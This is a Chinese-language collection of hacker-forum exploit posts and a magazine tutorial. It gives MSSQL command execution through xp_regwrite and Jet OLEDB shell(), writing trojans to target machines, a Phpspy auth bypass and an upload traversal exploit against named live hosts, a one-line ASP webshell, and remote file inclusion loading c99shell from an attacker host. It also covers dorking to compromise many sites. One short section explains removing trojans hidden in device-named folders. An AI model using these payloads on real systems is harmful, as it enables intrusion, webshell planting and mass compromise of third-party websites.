MSSQL中两种特别的执行命令的方法
来源:http://www.t00ls.net
以下方法都以需要SA权限为前提。
1, 沙盒模式的变通.
原始方法:
第一句开启沙盘模式:exec master..xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1
复制代码第二句利用jet.oledb执行系统命令:select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=ias\dnary.mdb’,’select shell("CMD命令")’)
复制代码或select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=ias\ias.mdb’,’select shell("CMD命令")’)
复制代码但是,当 X:\Windows\System32\ias\dnary.mdb 或 X:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了.
所以利用以下语句创建一个数据库:(数据库名SysSetup.xml,后缀.xml是自定义,不影响使用.)declare @hr int
declare @object int;declare @property int
exec @hr = sp_OACreate ’ADOX.Catalog’,@object OUTPUT
exec @hr = sp_OAMethod @object,’Create’,@property output,’Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml’
然后再利用jet.oledb调用SysSetup.xml执行系统命令:select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=SysSetup.xml’,’select shell("CMD命令")’)
2, 直接写入文件到对方计算机,此处的文件可以是exe, dll,等.(注,此方法不支持文件大于64KB)
当已经有一个程序需要放到对方计算机的时候.(例如, 放MA。)
将这个文件转成HEX代码。
如果不知道怎么把文件转成HEX代码,请使用下面的工具.
File2Hex.rar (424 Bytes)
使用方法很简单, 解压出来之后, 把要转的文件拖到脚本上去, 就会生成包含HEX代码的文本.
然后用以下方法写入到对方计算机中。DECLARE @ObjectToken INT
EXEC sp_OACreate ’ADODB.Stream’, @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken, ’Type’, 1
EXEC sp_OAMethod @ObjectToken, ’Open’
EXEC sp_OAMethod @ObjectToken, ’Write’, NULL, 0x123456(其中0x123456为HEX内容)
EXEC sp_OAMethod @ObjectToken, ’SaveToFile’, NULL, ’Test.exe(文件名)’, 2
EXEC sp_OAMethod @ObjectToken, ’Close’
EXEC sp_OADestroy @ObjectToken
写入之后, 就发挥你的办法去执行你写入的这个文件就OK了。
集思广益:
现在很多计算机可以执行命令的方法都被人封得抓狂,就算有幸可以执行,也有可能CMD被改了权限..
所以我推荐的办法是有能力的同学自己开发DLL,然后把DLL写入到对方计算机中,再注册为存储过程.
至于存储过程的功能. 可以是下载程序并执行, 可以是直接执行命令. 当然这个看你自己了.
aux、com1、com2、prn、con、nul漏洞木马删除方法
Windows 下不能够以下面这些字样来命名文件/文件夹,包括:“aux”“com1”“com2”“prn”“con”和“nul”等,因为这些名字都属于设备名称,等价于一个 DOS 设备,如果我们把文件命名为这些名字,Windows 就会误以为发生重名,所以会提示“不能创建同名的文件”等等。
当然,有一些特殊的方法可以偷机取巧,建立以这些设备名为名的文件夹,比如我们在命令提示符下执行“md C:\aux\\”,就在 C 盘建了一个名叫 aux 的文件夹。此文件夹虽然可以访问,也可以建立子文件夹,但却无法删除,因为 Windows 不允许以这种方式删除设备。在系统看来,这个 aux 文件夹就是设备。那么,如何删除这样的文件/文件夹呢?我们只要按照完整的 UNC 路径格式,就是网上邻居的路径格式,正确输入文件路径及文件名即可。比如要删除 C 盘下的 aux 文件夹,可在命令提示符下执行:rd /s \\.\C:\aux,rd 是命令提示符删除文件夹的命令,/s 参数表示从所有子目录删除指定文件。再比如要删除 C 盘 temp 文件夹下的 nul.exe 文件,在命令提示符下执行:del \\.\C:\temp\nul.exe 即可。
在Windows下无法以设备名来命名文件或文件夹,这些设备名主要有aux、com1、com2、prn、con、nul等,但Windows 2000/XP有个漏洞可以以设备名来命名文件或文件夹,让木马可以躲在那里而不被发现。
在服务器中 修改文件夹选项 – 查看 -隐藏受保护的操作系统文件[取消勾选] 即可查看此类文件属性均为RHSA系统文件且无法删除修改移动,
那么如何彻底删除这些文件呢,首先打开运行cmd,输入以下命令
rmdir \\.\D:\wwwroot\test\wwwroot /s /q
注:D:\wwwroot\test\wwwroot 为你的网站所在目录(替换即可);在执行以上命令前,将需要备份的网站程序移动到其他目录下;
以上命令运行1-2次即可彻底删除这些文件;另请注意修补网站漏洞,一般为后门为 aux.asp;aux.jpg 上传漏洞。
这个方法比较土点,效果也有,但是站点运行总不能停止,另外方法就是通过工具来处理这类问题。
删除方法如下:
第一步:进入服务器,打开工具>文件夹选项>查看>"隐藏受保护的操作系统文件(推荐)",去掉其前边的钩,选中"显示所有文件和文件夹" 。
看木马文件的创建时间,通过搜索找出与其同时创建的文件。
第二步:下载Unlocker或者暴力删除文件工具,将这些文件删除。
方法三是最简单也是最方便的,通过命令删除:
del /f /a /q \\?\%1
rd /s /q \\?\%1
把上面的命令保存为.bat后缀名称的文件,然后把不能删除的文件或者文件夹拖到bat文件上就可以。
经我的验证,第三种方法简单方便,也安全可靠,不容易出现误操作。
http://www.d99net.net/article.asp?id=389
Phpspy 2010 身份验证绕过漏洞
利用代码:
<form method="POST" action="http://mirc.3est.com/1.php">
<input type="hidden" name="admin['pass']" value="1">
<input type="submit" value="Login">
</form>
在每次向shell请求数据的时候 都附加post一个admin['pass']即可。
形成原因:
2009不存在该洞,仅限2010版本,对比二者即可得到答案:
foreach(array('_GET','_POST') as $_request) {
foreach($$_request as $_key => $_value) {
if ($_key{0} != '_') {
if (IS_GPC) {
$_value = s_array($_value);
}
$$_key = $_value;
}
}
}
网趣网站管理系统--上传漏洞
程序:网趣网站管理系统1.2.1 (包含动态版和静态版 均存在此漏洞)
下载:http://www.codepub.com/d/downpage.php?n=1&id=18716::1288173021
FROM:http://www.st999.cn/blog
DATA:2010/04/22
利用方法:/ku_edit/ComquUp.asp?nf=&ni=a&nr=ok&nt=../st999.asp;&nm=&nq=&lx=1
漏洞文件:Free_ComQu\Ku_edit\ComquUp.asp
源码 :
<%Response.Buffer=True
Server.ScriptTimeOut=9999999
On Error Resume Next%><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=GB2312" />
<meta http-equiv="Content-Language" content="zh-cn" />
<meta content="all" name="robots" />
<meta name="author" content="酷航网络" />
<meta name="description" content="酷航网络提供虚拟主机、域名注册等服务!" />
<meta name="keywords" content="酷航网络、虚拟主机、域名注册" />
<style type="text/css">body,form{margin:0px;padding:0px;}body,input{font-size:12px;}</style>
<title>酷航文件上传系统V2</title>
</head>
<body id="body"><table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0"><tr><td>
<%
response.Cookies("ComquUp")="1"
'您可以把上面判断cookies的写入语句复制到您登录的地方,这样便是“只有登录后才能操作上传文件。”
if request.Cookies("ComquUp")="1" then%>
<%
ComquDFormName=trim(request("nf"))
ComquDInputName=trim(request("ni"))
ComquDYNReName=trim(request("nr"))
ComquDPath=trim(request("nt"))
ComquDDM=trim(request("nm"))
ComquDPathQ=trim(request("nq"))
ComquDType=trim(request("lx"))
if ComquDPath<>"" then:ComquSavePath=ComquDPath:else:ComquSavePath="/Upfile/edit/":end if
if ComquDPathQ<>"" then:ComquSavePathQ=ComquDPathQ:else:ComquSavePathQ=ComquSavePath:end if
ComquYNPath(ComquSavePath)
if ComquDType="1" then
ComquFileNames="jpg,gif,png,bmp"
ComquBigSize=1024000'单位B
elseif ComquDType="2" then
ComquFileNames="swf,flv"
ComquBigSize=10240000
elseif ComquDType="3" then
ComquFileNames="avi,wmv,asf,mov,mp3,wma"
ComquBigSize=102400000
elseif ComquDType="4" then
ComquFileNames="rm,ra,ram,rmvb"
ComquBigSize=102400000
elseif ComquDType="5" then
ComquFileNames="txt,rar,zip,doc,7z,ppt"
ComquBigSize=102400000
end if
ComquFileSize=Request.TotalBytes
If ComquFileSize>0 Then
if ComquFileSize<ComquBigSize then
Set ComquUpStm=Server.CreateObject("ADODB.Stream")
ComquUpStm.Type=1
ComquUpStm.Open
ComquUpStm.Write Request.BinaryRead(ComquFileSize)
ComquUpStm.Position=0
ComquFormDataSize=ComquUpStm.Read
ComquCrlf=chrB(13)&chrB(10)
ComquFormStart=InStrB(ComquFormDataSize,ComquCrlf)
ComquFormEnd=InStrB(ComquFormStart+1,ComquFormDataSize,ComquCrlf)
Set ComquFormStm=Server.Createobject("ADODB.Stream")
ComquFormStm.Type=1
ComquFormStm.Open
ComquUpStm.Position=ComquFormStart + 1
ComquUpStm.CopyTo ComquFormStm,ComquFormEnd-ComquFormStart-3
ComquFormStm.Position=0
ComquFormStm.Type=2
ComquFormStm.CharSet="GB2312"
ComquFormStmText=ComquFormStm.Readtext
ComquFormStm.Close
ComquUpFileNAll=Mid(ComquFormStmText,InstrRev(ComquFormStmText,"\")+1,ComquFormEnd)
ComquUpFileCZM=mid(ComquUpFileNAll,InstrRev(ComquUpFileNAll,"."))
If ComquCheckFileCZM(ComquUpFileNAll) Then
if ComquDDM<>"" then
ComquUpFileName=ComquDDM
else
if ComquDYNReName<>"ok" then:ComquUpFileName=ComquUpFileNAll:else:ComquUpFileName=Year(now)&right("0"&Month(now),2)&right("0"&Day(now),2)&right("0"&Hour(now),2)&right("0"&Minute(now),2)&right("0"&Second(now),2)&right(replace(Request.ServerVariables("REMOTE_ADDR"),".",""),4)&ComquUpFileCZM:end if
end if
ComquSaveFile=Server.MapPath(ComquSavePath & ComquUpFileName)
k=Instrb(ComquFormDataSize,ComquCrlf&ComquCrlf)+4
l=Instrb(k+1,ComquFormDataSize,leftB(ComquFormDataSize,ComquFormStart-1))-k-2
ComquFormStm.Type=1
ComquFormStm.Open
ComquUpStm.Position=k-1
ComquUpStm.CopyTo ComquFormStm,l
ComquFormStm.SaveToFile ComquSaveFile,2
ComquSaveFileName=Mid(ComquSaveFile,InstrRev(ComquSaveFile,"\")+1)
if ComquDFormName<>"" then:Response.write"<script language=javascript>parent.document."&ComquDFormName&"."&ComquDInputName&".value='"&ComquSavePathQ&ComquSaveFileName&"';</script>":else:Response.write"<script language=javascript>parent.document.getElementById("""&ComquDInputName&""").value='"&ComquSavePathQ&ComquSaveFileName&"';</script>":end if
Response.write"<a href="""&ComquSavePath&ComquSaveFileName&""" target=""_blank"" title=""文件名称:"&ComquSaveFileName&""&vbcrlf&"文件大小:"&ComquFileSize&"KB"&vbcrlf&"友情提示:点击打开预览""><span style=""color:red;text-decoration:none;"">"&left(ComquSaveFileName,3)&"**"&ComquUpFileCZM&"</span></a> 上传成功! <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传</a><br />"
Else
Response.write"<span style=""color:red;"">文件格式不正确!</span> <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传文件</a><br />"
End If
Set ComquFormStm=Nothing
UploadStream.Close
Set UploadStream=Nothing
Function ComquCheckFileCZM(FileName)
FileType=Split(ComquFileNames,",")
For i=0 To Ubound(FileType)
If LCase(Right(FileName,len(FileType(i))))=LCase(FileType(i)) then
ComquCheckFileCZM=True
Exit Function
Else
ComquCheckFileCZM=False
End if
Next
End Function
Function ComquYNPath(FolderName)
ComquFolderM=Server.Mappath(FolderName)
Set Fso=CreateObject("Scripting.FileSystemObject")
If Not Fso.FolderExists(ComquFolderM) Then
Fso.CreateFolder(ComquFolderM)
End If
Set Fso=Nothing
End Function
else
Response.Write"<span style=""color:red;"">大小超过"&ComquBigSize&"B!</span> <a href="""&Request.ServerVariables("URL")&"?"&Request.ServerVariables("QUERY_STRING")&""">重新上传</a><br />"
end if
Else%><script language="Javascript">
function ComquCheckFile(){
if(document.ComquUpForm.ComquUpFile.value=="")
{alert("请选择上传文件!")
document.ComquUpForm.ComquUpFile.focus()
return false}
return true}
</script>
<form action="" method="post" name="ComquUpForm" onsubmit="return ComquCheckFile()"enctype="multipart/form-data">
<input type="file" name="ComquUpFile" size="10">
<input type="submit" value="上传">
</form>
<%End if
else:response.Write("<span style=""color:red;"">您无权上传操作!</span>"):end if%></td></tr></table>
</body>
</html>
嘿嘿,,,很明显的nt参数未过滤,可以构造路径,直接上传获得shell。
此程序的官方演示地址,也存在着这漏洞。
http://main.comqu.com/ku_edit/ComquUp.asp?nf=&ni=a&nr=ok&nt=../st999.asp;&nm=&nq=&lx=1
直接找个jpg的马儿上传,右键查看源码,获得名称../st999.asp;st999.asp;201104220019371540.jpg,实际上马儿的名称是st999.asp;201104220019371540.jpg,shell地址就是http://main.comqu.com/st999.asp;201104220019371540.jpg
这个是一句话,密码是st999,大家就不要轮J官方的演示站了,嘿嘿。。。
深喉咙企业网站生成系统V4.11 本地包含漏洞
#首发 www.3est.com
#发布作者 : 村长
#发布日期:2011-04.21
漏洞分析:
/index.php 源码
- /*--------------*/
- /*省略不必要代码*/
- /*--------------*/
- $_REQUEST = cleanArrayForMysql($_REQUEST);
- $_GET = cleanArrayForMysql($_GET);
- $_POST = cleanArrayForMysql($_POST);
- $request = $_REQUEST;
- //上面传参都进行字符串转义,对于 ../ 没有任何影响
- /*--------------*/
- /*省略不必要代码*/
- /*--------------*/
- $request['m'] = !isset($request['m'])?'':$request['m']; //m没有过滤
- $params['model'] = empty($request['m'])?$menu_arr['type']:$request['m'];
- $request['a'] = !isset($request['a'])?'':$request['a']; //a没有过滤
- $params['action'] = empty($request['a'])?'index':$request['a'];
- /*--------------*/
- /*省略不必要代码*/
- /*--------------*/
- function layout_part($style='')
- {
- global $params,$request;
- //如果本次升级影响了parts内sql的执行, 请手动注释destorydb函数体代码,切记不要删除
- destorydb();
- if(!empty($style)) $style = '_'.$style;
- $part_path=ABSPATH.'/skins/'.STYLENAME.'/parts/'.$params['model'].'_'.$params['action'].$style.'.php'; //含m和a参数的路径
- $content_part_path=ABSPATH.'/content/'.$params['model'].'/parts_'.$params['action'].'.php'; //含m和a参数的路径
- if(is_file($part_path))
- require_once($part_path); //包含漏洞出现 BY:村长
- elseif(is_file($content_part_path))
- require_once($content_part_path); //包含漏洞出现 BY:村长
- else
- echo $part_path;
- echo $content_part_path;
- echo '<span style="color:RED"><strong>您当前选择的信息所在的分类栏目或频道可能已经被删除或不存在,请检查一下,该信息所在的栏目情况以及栏目是
- 否存在!</strong></span>';
- // 如果本次升级影响了parts内sql的执行, 请手动注释如下代码recoverdb函数体代码,切记不要删除
- recoverdb();
- isComments();
- }
漏洞利用(前台 GETSHELL):
IIS或者某些apache版本下php文件系统可以进行路径截断,例如://///////////////////////////////// 或则%00
1.先上传PHP恶意代码的图片格式文件,复制上传源码 cun.html:
- <form id="frmUpload" enctype="multipart/form-data"
- action="http://127.0.0.1/editor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
- <input type="file" name="NewFile" size="50"><br>
- <input id="btnUpload" type="submit" value="Upload">
- </form>
.假设得到图片路径 /upload/Media/cunzhang.gif (利用的是FCK的,测试上传变"."为"_",FCK的不能直接上传为诸如1.asp;.jpg的文件的)
3.直接输入地址:http://127.0.0.1/?m=../upload/Media/cunzhang.gif%00
或则 输入 http://127.0.0.1/?m=../upload/Me ... ///////////////////(若干)
嗯,再给个后台拿SHELL的方法吧,方面给那些不能包含,能进后台的朋友说下
后台 GETSHELL:
依次点击 =》数据库管理=》数据库恢复=》浏览上传
上传文件cunzhang.asp;.sql 内容为 <%Y=request("cun")%> <%execute(Y)%>
得到地址http://127.0.0.1/temp/data/cunzhang.asp;.sql (利用IIS的解析漏洞,就是SHELL了)
PHP漏洞挖掘之旅——远程文件包含漏洞
本篇文章源自《黑客防线》2007年5月刊
转载请注明版权
作者:cnbird[H.U.C]河北泊头杨宁
===================================
大家好,我是cnbird[H.U.C],从这期开始,我将分几期来带领大家一起走进自己挖掘PHP漏洞的殿堂。
我的思路是这样的,先从最最简单的远程文件包含漏洞入手,因为远程文件包含漏洞容易查找,并且危险系数非常高。像我一样的菜鸟,容易挖掘出像这样简单但却利用率高的漏洞。之后就是传说中的SQL注入漏洞,涉及将会很广泛,从非常普通的$_POST和$_GET方式的SQL注入到比较高级的$_SESSION变量的注入。当然,我还会告诉大家如何在Linux下用grep命令快速寻找这样的SQL注入漏洞,以及如何http://google.com/codesearch中寻找大量的特定SQL注入漏洞代码。第三步就是教大家如何寻找上传漏洞、远程代码运行,以及远程修改管理员密码等高级的PHP漏洞。
小提示
Get和Post是HTTP/1.1协议中的两个传送数据的方式。两者的区别通过提交表单才能看得出来,主要是在数据发送方式和接收方式上。一般来说,尽量避免使用Get方式提交表单,因为有可能会导致安全问题。比如在登录表单中用Get方式,用户输入的用户名和密码将在地址栏中暴露无遗。但是在分页程序中,用Get方式就比用Post方式好。
挖掘PHP漏洞的基本环境
要搭建PHP运行环境,Windows下的用户可以下载WAPM来构造,它是运行于Windows平台的综合网络服务器系统,包含了以下组件:Apache2,互联网上最流行的Web服务软件之一,用于提供基本的Web服务功能,支持SSL、GZIP和LIC(IP同时连接数限制)功能;PHP4或PHP5,流行的动态网页语言,用于提供PHP语言的网络应用程序开发,支持ZendOptimizer优化功能和Zend加密功能,或者Turck MMCahe对PHP的加速、优化、加密、动态缓存功能;Tomcat4,用以提供JSP和Servlet的服务解析。MySQL4,用以SQL数据库功能。
如果是Linux下的用户就必须要有Apache和MySQL的支持。强烈推荐大家在Linux下操作文中的实例,因为这对熟悉PHP漏洞挖掘非常有帮助,比如我们要用到的grep的搜索字符串功能。
PHP远程文件包含漏洞原理
什么才是远程文件包含漏洞呢?简单的说,就是服务器通过PHP的任意文件包含过滤不严,从而去执行一个恶意文件,这是程序过滤上的问题。PHP远程文件包含漏洞涉及的4个函数是include()、require()、include_once()和require_once(),它们之间的区别请,大家可以参http://php.chinaunix.net/manual/zh/function.include.php中的说明,我就不在这里不浪费口舌了。
PHP远程文件包含漏洞中的三种类型
也许大家对PHP远程文件包含漏洞已经知道了很多,但是绝对不知道远程文件包含漏洞还包含三种类型吧?以下的内容是从我多年的漏洞代码分析中总结出来的经验,这部分大家一定不要错过,这三种类型我都会详细分析的。
第一种是PHP远程文件包含就是大家经常使用到的,用于测试的主角是Ultimate Fun Book 1.02,一个德国的小巧的记事本。下面我们就开始一步步地分析如何找远程文件包含漏洞并加以利用。
下载源代码到我的RedHat Linux操作系统上,用unzip命令解压缩zip包,进入程序的主目录,如图1所示。首先讲解一下grep的用法,这样大家可以方便地挖掘自己的漏洞。grep(global search regular expression(RE) and print out the line全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。我们主要使用的参数有如下几个:-n,在匹配的行前面打印行号;-r,递归查询,简单的说就是查询当前目录下所有的文件;匹配符*能匹配所有文件类型。具体的解释大家可以参http://man.chinaunix.net/newsoft/grep/open.htm。
图1
理解了grep的用法后,结合前面讲解的PHP远程文件包含涉及的几个函数,我们开始挖掘自己的漏洞之旅吧。
在命令行中输入“grep -r -n 'include' *”,如图2所示,没有输出任何结果,说明这个程序没有用到include函数。继续输入“grep –n –r 'require' *”,如图3所示,嘿嘿,出来了几个。此时注意看“ufbook/function.php:8:require($gbpfad."/config.php");”,结合以前的代码,我们知道这里的$gbpfad变量第一次出现,没有任何的过滤,在allow_url_fopen为ON的时候,我们就可以构建语句了,格式为“网站路径/function.php?gbpfad=远程要执行的代码”。
我们先在本地测试一下,提交http://192.168.0.3/ufbook/FULL/ufbook/function.php?gbpfad=http://192.168.0.1/c99shell.txt?”,其中的192.168.0.3是我的Linux主机,192.168.0.1是我自己的机器。这条语句的意思就是让$gbpfad执行192.168.0.1上的c99shell.txt文件,如图4所示,这个时候我们就已经成功地执行了一个假的WebShell了。我们要拿到服务器上的WebShell也很简单,利用这个假的WebShell在服务器上找一个可写的目录,然后利用c99shell的上传功能把自己需要的WebShell上传就可以了。
不过仅找到漏洞对我们来说还是不够的,我们为的是拿大量网站的WebShell。接下来我们就要找这个程序的特殊字符了,目的是为了用Google.com搜索有漏洞的网站。这套程序的特殊字符是“Powered by Ultimate-Fun-Book 1.02”,很简单也很明显,搜索后的结果如图5所示,找到了24个网站,看来用这套程序的还不是很多嘛。我们随便找一个试一下,具体过程我就省略了,大家可以用http://www.microcheese.de/ufbook/function.php?gbpfad=http://121.16.59.229/c99shell.txt?”来测试,如图6所示是我们成功后的结果。
第一种类型至此就分析完了,很简单吧?当然,我们防御的方法也很简单,如图7所示,只要把$gbpfad初始化一下就可以了
图7
第二种类型是本地包含PHP文件,这里给大家说一下漏洞所在就可以了,按照第一种方法可以找到漏洞。
漏洞代码:include“/include/” . $action . “php”;
利用方法:“exp.php?action=../../../../../etc/passwd%00”提交以后的包含代码就变成了“include “/include/” . ../../../../.,/etc/passwd%00.“php””。这里的“%00”在PHP中的意思就是截断以后的代码。比如有漏洞的地址是http://satconxion.org/instaladores/index.php?action=view&filename=../../../../../../etc/passwd”,则返回的结果就是“/etc/passwd”中的文件了,如图8所示。
图8
第三种类型是本地文件包含其他,和第二种类型基本上差不多,就不多说了,漏洞代码为“include“/mods” . $moudle;”,漏洞利用为“exp.php?moudle=../../../../../../etc/passwd”。
其实第二种和第三种漏洞是能够直接得到WebShell的,这里先简单地跟大家解释一下,在高级部分我会详细讲解如何利用的。其原理就是把我们要执行的代码插入到Apache的日志Log中,然后自己写代码模拟Post方式向主机提交如下请求,这样就可以执行系统的命令了。
print $socket "GET ".$path."index.php?GLOBALS[tplname]=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
关于挖掘PHP远程文件包含漏洞的讲解到这里就算结束了,最后我再教大家一个在Google.com上搜索远程文件包含漏洞的方法。首先打http://www.google.com/codesearch,搜索代码“^include\(\$(.*)\);$ lang:PHP”,意思就是搜索以include开头的匹配结果($后面是任意的名称),如图9所示,我们找到了7000个这样的程序,结合本文所写的找漏洞程序的特殊字符,就可以找到N多有漏洞的网站了,是不是很有成就感呢?呵呵,作为一个菜鸟,重要的是要多多总结,时刻记录下认为重要的东西,总结得多了,我们的技术自然就会慢慢增长了。
图9
这期文章就写到这里了,下期的主要内容是SQL注入漏洞,提前透露一下,我们可不是简单地分析一些普通的没有过滤变量直接带入SQL语句查询的漏洞,而是要深入到PHP脚本程序的本身去挖掘SQL注入漏洞。好了,我们下期见吧!
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力